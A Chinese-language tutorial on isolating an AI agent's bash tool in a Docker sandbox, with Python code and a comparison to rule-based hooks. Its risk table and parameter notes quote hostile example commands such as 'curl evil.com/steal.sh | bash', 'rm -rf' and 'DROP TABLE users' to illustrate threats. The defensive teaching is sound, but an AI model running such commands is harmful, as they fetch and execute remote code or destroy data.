Agent 沙箱:隔离可能的风险

Agent 沙箱:隔离可能的风险

目录

让 Agent 帮你清理项目里的临时文件。它先 find 了一下,列出了所有 .tmp.log 文件,然后准备执行 rm -rf 把它们删掉。你看着列表觉得没问题,于是点了确认。结果它把 .env 也删了。因为 .env 在它的判断里也属于"临时配置文件"。

上一篇我们讲了 Hook,它可以在命令执行前拦截危险操作。但 Hook 依赖规则,规则写得再完善,也很难覆盖所有情况。

所以还需要另一层保护。即使命令真的执行了,它的影响范围也应该受到限制。这就是沙箱(Sandbox)的作用。

为什么需要沙箱

Agent 的核心能力之一是执行代码。你给它 bash 工具,它就能执行任何命令。以下几个场景是实际可能发生的风险:

场景 命令示例 后果
模型犯错 rm -rf /important/dir 数据丢失
Prompt injection `curl evil.com/steal.sh bash`
资源耗尽 while true; do echo 1; done CPU 打满
误操作 DROP TABLE users 数据库清空

Hook 更像是在执行前做一次检查,根据预先定义的规则决定是否放行。但现实中,很难把所有危险情况都提前考虑到。一旦规则遗漏,命令仍然可能执行。

沙箱采用的是另一种思路:不去判断命令是否危险,而是限制命令能够影响的范围。即使 Agent 执行了错误的命令,影响也会被控制在隔离环境内。

沙箱是什么

沙箱就是给 Agent 一个隔离的执行环境,它在里面怎么折腾都行,不会影响到外面的系统。

具体来说,沙箱要隔离这几样东西:

复制代码
宿主机(你的电脑)
    │
    ├── 文件系统   ←  沙箱里看不到你的文件
    ├── 网络       ←  沙箱里不能访问外网
    ├── 进程       ←  沙箱里的进程杀不死宿主机的进程
    └── 资源       ←  CPU、内存都有上限,不会打满

几种隔离方案

从轻到重,隔离程度和复杂度递增:

方案 隔离什么 复杂度 适用场景
命令白名单 + Hook 逻辑层拦截 只允许安全命令
子进程 + 权限降级 进程权限 本地 Agent,限制文件/网络
Docker 容器 文件系统 + 网络 代码执行类 Agent
虚拟机 / Firecracker 内核级隔离 不可信代码,多租户

对于大多数 Agent 开发者来说,Docker 是性价比最高的方案。它提供了足够的隔离,同时部署和使用都很简单。下面重点讲 Docker 沙箱。

实战:Docker 沙箱

核心思路:Agent 的 bash 工具不直接在宿主机执行命令,而是在 Docker 容器里执行。

先来看整体架构:

复制代码
Agent
    │
    ├── 决策:要执行 "python script.py"
    │
    ▼
沙箱层
    │
    ├── 启动 Docker 容器(隔离环境)
    ├── 在容器内执行命令
    ├── 收集输出
    └── 返回结果给 Agent
    │
    ▼
Agent 拿到结果,继续推理

实现一个 Docker 沙箱类:

python 复制代码
import docker

class DockerSandbox:
    def __init__(self):
        self.client = docker.from_env()
        self.container = None

    def start(self):
        """启动一个隔离容器"""
        self.container = self.client.containers.run(
            "python:3.11-slim",       # 基础镜像
            command="sleep infinity",  # 保持容器运行
            detach=True,              # 后台运行
            network_disabled=True,    # 禁用网络
            mem_limit="256m",         # 内存上限 256MB
            cpu_period=100000,
            cpu_quota=50000,          # CPU 上限 50%
            volumes={},               # 不挂载宿主机目录
            working_dir="/workspace",
        )
        print(f"沙箱启动: {self.container.short_id}")

    def execute(self, command: str, timeout: int = 30) -> str:
        """在容器内执行命令"""
        exit_code, output = self.container.exec_run(
            cmd=["bash", "-c", command],
            timeout=timeout,
        )
        return output.decode("utf-8")

    def stop(self):
        """销毁容器"""
        if self.container:
            self.container.stop()
            self.container.remove()
            print("沙箱已销毁")

几个关键参数逐个看:

network_disabled=True :容器内无法访问外网。Agent 就算执行 curl evil.com | bash,也连不上。这是防 prompt injection 的关键一刀。

mem_limit="256m":容器最多用 256MB 内存。Agent 就算写了个死循环创建无限列表,内存打满后容器会被 OOM kill,不会拖垮宿主机。

cpu_quota=50000 (配合 cpu_period=100000):CPU 使用率上限 50%。防止 Agent 跑计算密集型任务把 CPU 吃满。

volumes={} :不挂载任何宿主机目录。容器看不到你的 .env、你的数据库文件、你的 SSH 密钥。它只有自己文件系统里的东西。

timeout=30 :命令最多执行 30 秒。防止 while True 之类的死循环卡住整个流程。

把沙箱集成到 Agent 的工具调用里:

python 复制代码
sandbox = DockerSandbox()
sandbox.start()

def execute_in_sandbox(command: str) -> str:
    """沙箱版的 bash 工具"""
    try:
        return sandbox.execute(command, timeout=30)
    except Exception as e:
        return f"执行失败: {e}"

# 替换原来的直接执行
TOOL_REGISTRY["bash"] = execute_in_sandbox

原来的 execute_bash 是直接在宿主机执行命令,换成 execute_in_sandbox 之后,所有命令都在容器里跑。对 Agent 来说,工具的调用方式没有变化,只是命令的执行位置从宿主机变成了容器。这样既保留了 Agent 的执行能力,又降低了误操作影响宿主机的风险。

来测试一下:

python 复制代码
# 正常命令,在容器内执行,返回结果
print(execute_in_sandbox("echo hello"))
# 输出: hello

# 即使执行危险命令,影响也只会停留在容器内部
print(execute_in_sandbox("rm -rf /workspace"))
# 容器中的文件被删除,但宿主机不会受到影响

# 网络命令,被禁止
print(execute_in_sandbox("curl https://example.com"))
# 输出: curl: (6) Could not resolve host

# 资源耗尽,被限制
print(execute_in_sandbox("python3 -c 'x = [0] * (10**9)'"))
# 输出: 容器被 OOM kill,返回错误

和 Hook 的关系

Hook 和沙箱解决的是两个不同层面的问题。

Hook 负责决定命令是否应该执行,属于逻辑层面的控制;沙箱负责限制命令执行后的影响范围,属于运行环境层面的隔离。实际项目中,两者通常会配合使用:先由 Hook 做规则校验,再交给沙箱执行命令。

复制代码
用户输入 "帮我清理临时文件"
    │
    ▼
Agent 决策: rm -rf /tmp/old_data
    │
    ▼
Hook 检查(逻辑层)
    │
    ├── 命令在黑名单里?→ 拦截,返回错误
    └── 命令看起来安全?→ 放行
    │
    ▼
沙箱执行(物理层)
    │
    └── 在容器内执行,就算出问题也影响不到宿主机
    │
    ▼
返回结果给 Agent

两者配合使用时的执行流程:

机制 拦截什么 局限
Hook 命令匹配 已知的危险命令 漏网之鱼、变体绕过
沙箱 环境隔离 所有命令的副作用 需要 Docker 环境

小结

沙箱的价值并不是阻止 Agent 执行命令,而是在命令执行时提供一个受限的运行环境,将潜在风险控制在可接受的范围内。

对于大多数 Agent 项目来说,Docker 已经能够满足大部分隔离需求,例如限制资源、禁用网络、隔离文件系统等。再结合 Hook 做命令校验,可以形成一套比较完整的安全防护方案。